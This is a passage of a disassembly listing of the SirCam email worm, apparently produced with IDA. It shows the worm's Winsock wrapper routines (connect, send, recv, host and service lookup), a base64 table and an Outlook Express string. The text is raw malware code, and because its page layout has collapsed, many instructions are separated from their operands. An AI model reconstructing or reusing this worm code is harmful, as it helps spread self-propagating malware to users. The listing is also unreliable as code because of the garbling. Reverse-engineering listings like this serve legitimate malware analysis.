’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567’ ; DATA XREF: sub_40F4CC+E4\030o db ’89+/=’,0 align 4 sircam.asm Fri Aug 10 12:42:44 2001 438 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F654 proc near ; DATA XREF: CODE:0041A950\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40F679 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E654 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40F680 locret_40F678: ; CODE XREF: sub_40F654+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F679: ; DATA XREF: sub_40F654+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40F678 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F680: sub_40F654 ; CODE XREF: sub_40F654+24\030j ; DATA XREF: sub_40F654+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40F684: ; DATA XREF: CODE:0041A94C\031o sub ds:dword_41E654, 1 jnb short locret_40F6B3 jmp short locret_40F6B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ aOutlookExpre_0 db ’Outlook Express coding and decoding’,0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_40F6B3: ; CODE XREF: CODE:0040F68B\030j ; CODE:0040F68D\030j retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40F6B4 proc near ; CODE XREF: sub_410100+45\031p mov ecx, [edx] cmp ecx, 40h jge short locret_40F6C1 mov [edx+ecx*4+4], eax inc dword ptr [edx] locret_40F6C1: sub_40F6B4 ; CODE XREF: sub_40F6B4+5\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_40F6C4 sub_40F6C4 Fri Aug 10 12:42:44 2001 proc near xor edx, edx mov [eax], edx retn endp 439 ; CODE XREF: sub_410100+39\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_closesocket. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_connect. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_getpeername. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_getsockname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_htons. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_inet_addr. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_ioctlsocket. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_recv. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_select. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_send. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_socket. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_gethostbyname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_getprotobynumber. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_getservbyname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_gethostname. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_WSAGetLastError. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION j_WSAStartup. PRESS KEYPAD "+" TO EXPAND] align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F754 proc near ; DATA XREF: CODE:0041A958\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40F779 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E658 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40F780 locret_40F778: ; CODE XREF: sub_40F754+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F779: ; DATA XREF: sub_40F754+6\030o sircam.asm Fri Aug 10 12:42:44 2001 440 jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_40F778 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40F780: sub_40F754 ; CODE XREF: sub_40F754+24\030j ; DATA XREF: sub_40F754+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40F784: ; DATA XREF: CODE:0041A954\031o sub ds:dword_41E658, 1 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_40F78C dd offset dword_40F7D8 ; DATA XREF: sub_40FF9C+55\031r dd 2 dup(0) dd offset dword_40F7D8 dd 4 dup(0) dd offset dword_40F7EA dd 14h dd offset off_4061F4 dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_40F7D8 dd 0Eh, 10000h ; DATA XREF: CODE:0040F78C\030o ; CODE:0040F798\030o db 2 dup(0) dd offset off_401000 dd 10h dword_40F7EA dd 7953450Dh, 7370616Eh, 72724565h ; DATA XREF: CODE:0040F7AC\030o db 6Fh, 72h off_40F7F8 dd offset off_40F844 ; DATA XREF: CODE:0040F8B0\031o dd 2 dup(0) dd offset dword_40F868 dd 4 dup(0) dd offset dword_40F87A dd 1C8h dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_40F96C off_40F844 dd offset sub_40FAA4 ; DATA XREF: CODE:0040F7F8\030o dd offset sub_40FB94 dd offset sub_40FBBC dd offset sub_40FBE8 dd offset sub_40FC58 dd offset sub_40FC90 dd offset sub_40FCF0 dd offset sub_40FF04 dd offset sub_40FF2C dword_40F868 dd 0Eh, 10000h ; DATA XREF: CODE:0040F804\030o db 2 dup(0) dd offset off_401000 dd 30h dword_40F87A dd 6C42540Ch, 536B636Fh, 656B636Fh ; DATA XREF: CODE:0040F818\030o db 74h, 90h sircam.asm off_40F888 off_40F8D4 dword_40F8F8 \030o Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 441 offset off_40F8D4 ; DATA XREF: sub_412D28+1E\031r 7 dup(0) offset dword_40F8F8 1C8h offset off_40F7F8 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40F96C offset sub_410188 ; DATA XREF: CODE:0040F888\030o offset sub_40FB94 offset sub_40FBBC offset sub_40FBE8 offset sub_40FC58 offset sub_40FC90 offset sub_40FCF0 offset sub_40FF04 offset sub_40FF2C 4354540Fh, 6F6C4250h, 6F536B63h, 74656B63h ; DATA XREF: CODE:0040F8A8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40F908 proc near ; CODE XREF: sub_412D28+23\031p push ebx push esi test dl, dl jz short loc_40F916 add esp, 0FFFFFFF0h call sub_402CDC loc_40F916: mov mov xor mov call mov mov xor mov lea push push call mov mov call mov call mov test jz call pop add ; CODE XREF: sub_40F908+4\030j ebx, edx esi, eax edx, edx eax, esi sub_402BAC byte ptr [esi+34h], 0 dword ptr [esi+4], 0FFFFFFFFh eax, eax [esi+2Ch], eax eax, [esi+38h] eax 101h j_WSAStartup edx, eax eax, esi sub_40FF88 eax, esi sub_40FF9C eax, esi bl, bl short loc_40F966 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40F966: sub_40F908 ; CODE XREF: sub_40F908+4D\030j mov pop pop retn endp eax, esi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 442 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40F96C proc near push push call mov mov mov call mov and mov call test jle mov call ebx esi sub_402D3C ebx, edx esi, eax eax, esi sub_40FAC8 edx, ebx dl, 0FCh eax, esi sub_402BCC bl, bl short loc_40F995 eax, esi sub_402D2C pop pop retn endp esi ebx loc_40F995: sub_40F96C ; DATA XREF: CODE:0040F840\030o ; CODE:0040F8D0\030o ; CODE XREF: sub_40F96C+20\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40F998 proc near var_4 arg_0 = dword ptr -4 = dword ptr 8 push mov push push push push mov mov mov mov call mov call xor push push push mov mov xor mov call mov mov push call mov xor test jz mov ; CODE XREF: sub_40FAD4+39\031p ebp ebp, esp ecx ebx esi edi [ebp+var_4], ecx ebx, edx esi, eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+arg_0] sub_4038D8 eax, eax ebp offset loc_40FA7D dword ptr fs:[eax] fs:[eax], esp eax, ebx ecx, ecx edx, 10h sub_4028D4 word ptr [ebx], 2 eax, [esi+2Ch] eax j_getprotobynumber esi, eax eax, eax esi, esi short loc_40F9F9 eax, [esi] sircam.asm Fri Aug 10 12:42:44 2001 push mov call push call 443 eax eax, [ebp+arg_0] sub_4038E8 eax j_getservbyname loc_40F9F9: ; CODE XREF: sub_40F998+4E\030j test eax, eax jnz short loc_40FA13 xor edx, edx mov eax, [ebp+arg_0] call sub_407058 push eax call j_htons mov [ebx+2], ax jmp short loc_40FA1B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FA13: ; CODE XREF: sub_40F998+63\030j mov mov ax, [eax+8] [ebx+2], ax loc_40FA1B: ; CODE XREF: sub_40F998+79\030j mov eax, [ebp+var_4] mov edx, offset a255_255_255_25 ; "255.255.255.255" call sub_403834 jnz short loc_40FA33 mov dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_40FA5F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FA33: ; CODE XREF: sub_40F998+90\030j mov call mov push call mov mov inc jnz push call test jz mov mov mov mov eax, [ebp+var_4] sub_4038E8 edi, eax edi j_inet_addr esi, eax [ebx+4], esi esi short loc_40FA5F edi j_gethostbyname eax, eax short loc_40FA5F eax, [eax+0Ch] eax, [eax] eax, [eax] [ebx+4], eax loc_40FA5F: ; CODE XREF: sub_40F998+99\030j ; sub_40F998+B1\030j ... xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_40FA84 loc_40FA6C: sub_40F998 ; CODE XREF: CODE:0040FA82\031j lea eax, [ebp+var_4] call sub_4034C8 lea eax, [ebp+arg_0] call sub_4034C8 retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FA7D: ; DATA XREF: sub_40F998+21\030o sircam.asm Fri Aug 10 12:42:44 2001 444 jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40FA6C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FA84: ; DATA XREF: sub_40F998+CF\030o pop edi pop esi pop ebx pop ecx pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 0Fh a255_255_255_25 db ’255.255.255.255’,0 ; DATA XREF: sub_40F998+86\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FAA4 proc near ; CODE XREF: sub_410188+1A\031p ; DATA XREF: CODE:0040F844\030o push ebx mov ebx, eax cmp dword ptr [ebx+4], 0FFFFFFFFh jnz short loc_40FAB7 call j_WSAGetLastError mov [ebx+28h], eax jmp short loc_40FABC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FAB7: ; CODE XREF: sub_40FAA4+7\030j xor mov eax, eax [ebx+28h], eax mov call pop retn endp eax, ebx sub_40FF9C ebx loc_40FABC: sub_40FAA4 ; CODE XREF: sub_40FAA4+11\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FAC8 proc near sub_40FAC8 mov push call retn endp ; CODE XREF: sub_40F96C+D\030p ; sub_412F7C+1A\031p eax, [eax+4] eax j_closesocket ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40FAD4 proc near var_18 var_8 var_4 = byte ptr -18h = dword ptr -8 = dword ptr -4 push mov ebp ebp, esp ; CODE XREF: sub_412EA0+27\031p sircam.asm Fri Aug 10 12:42:44 2001 add push mov mov mov mov call mov call xor push push push mov mov push lea mov mov call push lea push mov push call mov mov call mov call mov call xor pop pop pop mov push esp, 0FFFFFFE8h ebx [ebp+var_8], ecx [ebp+var_4], edx ebx, eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_40FB53 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_8] eax edx, [ebp+var_18] ecx, [ebp+var_4] eax, ebx sub_40F998 10h eax, [ebp+var_18] eax eax, [ebx+4] eax j_connect edx, eax eax, ebx sub_40FF88 eax, ebx sub_40FB60 eax, ebx sub_40FF9C eax, eax edx ecx ecx fs:[eax], edx offset loc_40FB5A loc_40FB45: sub_40FAD4 445 ; CODE XREF: CODE:0040FB58\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FB53: ; DATA XREF: sub_40FAD4+22\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40FB45 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FB5A: ; DATA XREF: sub_40FAD4+6C\030o pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FB60 proc near push ebx push ecx mov ebx, eax ; CODE XREF: sub_40FAD4+58\030p sircam.asm sub_40FB60 Fri Aug 10 12:42:44 2001 mov push lea push mov push call mov push lea push mov push call pop pop retn endp 446 dword ptr [esp+0], 10h esp eax, [ebx+8] eax eax, [ebx+4] eax j_getsockname dword ptr [esp+0], 10h esp eax, [ebx+18h] eax eax, [ebx+4] eax j_getpeername edx ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FB94 proc near sub_40FB94 push push mov push push push mov push call mov mov mov call mov call mov pop pop retn endp ; DATA XREF: CODE:0040F848\030o ; CODE:0040F8D8\030o ebx esi ebx, eax 0 ecx edx eax, [ebx+4] eax j_send esi, eax edx, esi eax, ebx sub_40FF88 eax, ebx sub_40FF9C eax, esi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FBBC proc near push push mov mov push push lea push mov push call mov mov call mov call ebx ecx [esp+0], dl ebx, eax 0 1 eax, [esp+8] eax eax, [ebx+4] eax j_send edx, eax eax, ebx sub_40FF88 eax, ebx sub_40FF9C ; DATA XREF: CODE:0040F84C\030o ; CODE:0040F8DC\030o sircam.asm sub_40FBBC Fri Aug 10 12:42:44 2001 pop pop retn endp 447 edx ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40FBE8 proc near var_4 = dword ptr -4 push mov push push mov mov mov call xor push push push mov push mov call push mov call push mov push call mov mov call mov call xor pop pop pop mov push ; DATA XREF: CODE:0040F850\030o ; CODE:0040F8E0\030o ebp ebp, esp ecx ebx [ebp+var_4], edx ebx, eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_40FC4B dword ptr fs:[eax] fs:[eax], esp 0 eax, [ebp+var_4] sub_403724 eax eax, [ebp+var_4] sub_4038E8 eax eax, [ebx+4] eax j_send edx, eax eax, ebx sub_40FF88 eax, ebx sub_40FF9C eax, eax edx ecx ecx fs:[eax], edx offset loc_40FC52 loc_40FC42: sub_40FBE8 ; CODE XREF: CODE:0040FC50\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FC4B: ; DATA XREF: sub_40FBE8+15\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40FC42 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FC52: ; DATA XREF: sub_40FBE8+55\030o pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 448 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FC58 proc near ; DATA XREF: CODE:0040F854\030o ; CODE:0040F8E4\030o push ebx push esi mov ebx, eax push 0 push ecx push edx mov eax, [ebx+4] push eax call j_recv mov esi, eax test esi, esi jnz short loc_40FC78 mov dword ptr [ebx+28h], 2749h jmp short loc_40FC81 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40FC78: ; CODE XREF: sub_40FC58+15\030j mov mov call edx, esi eax, ebx sub_40FF88 mov call mov pop pop retn endp eax, ebx sub_40FF9C eax, esi esi ebx loc_40FC81: sub_40FC58 ; CODE XREF: sub_40FC58+1E\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40FC90 proc near ; DATA XREF: CODE:0040F858\030o ; CODE:0040F8E8\030o push ebx push esi push edi push ecx mov edi, edx mov esi, eax mov byte ptr [esp+0], 0 xor ebx, ebx mov edx, edi mov eax, esi call sub_410100 test al, al jz short loc_40FCD8 push 0 push 1 lea eax, [esp+8] push eax mov eax, [esi+4] push eax call j_recv test eax, eax jnz short loc_40FCCA 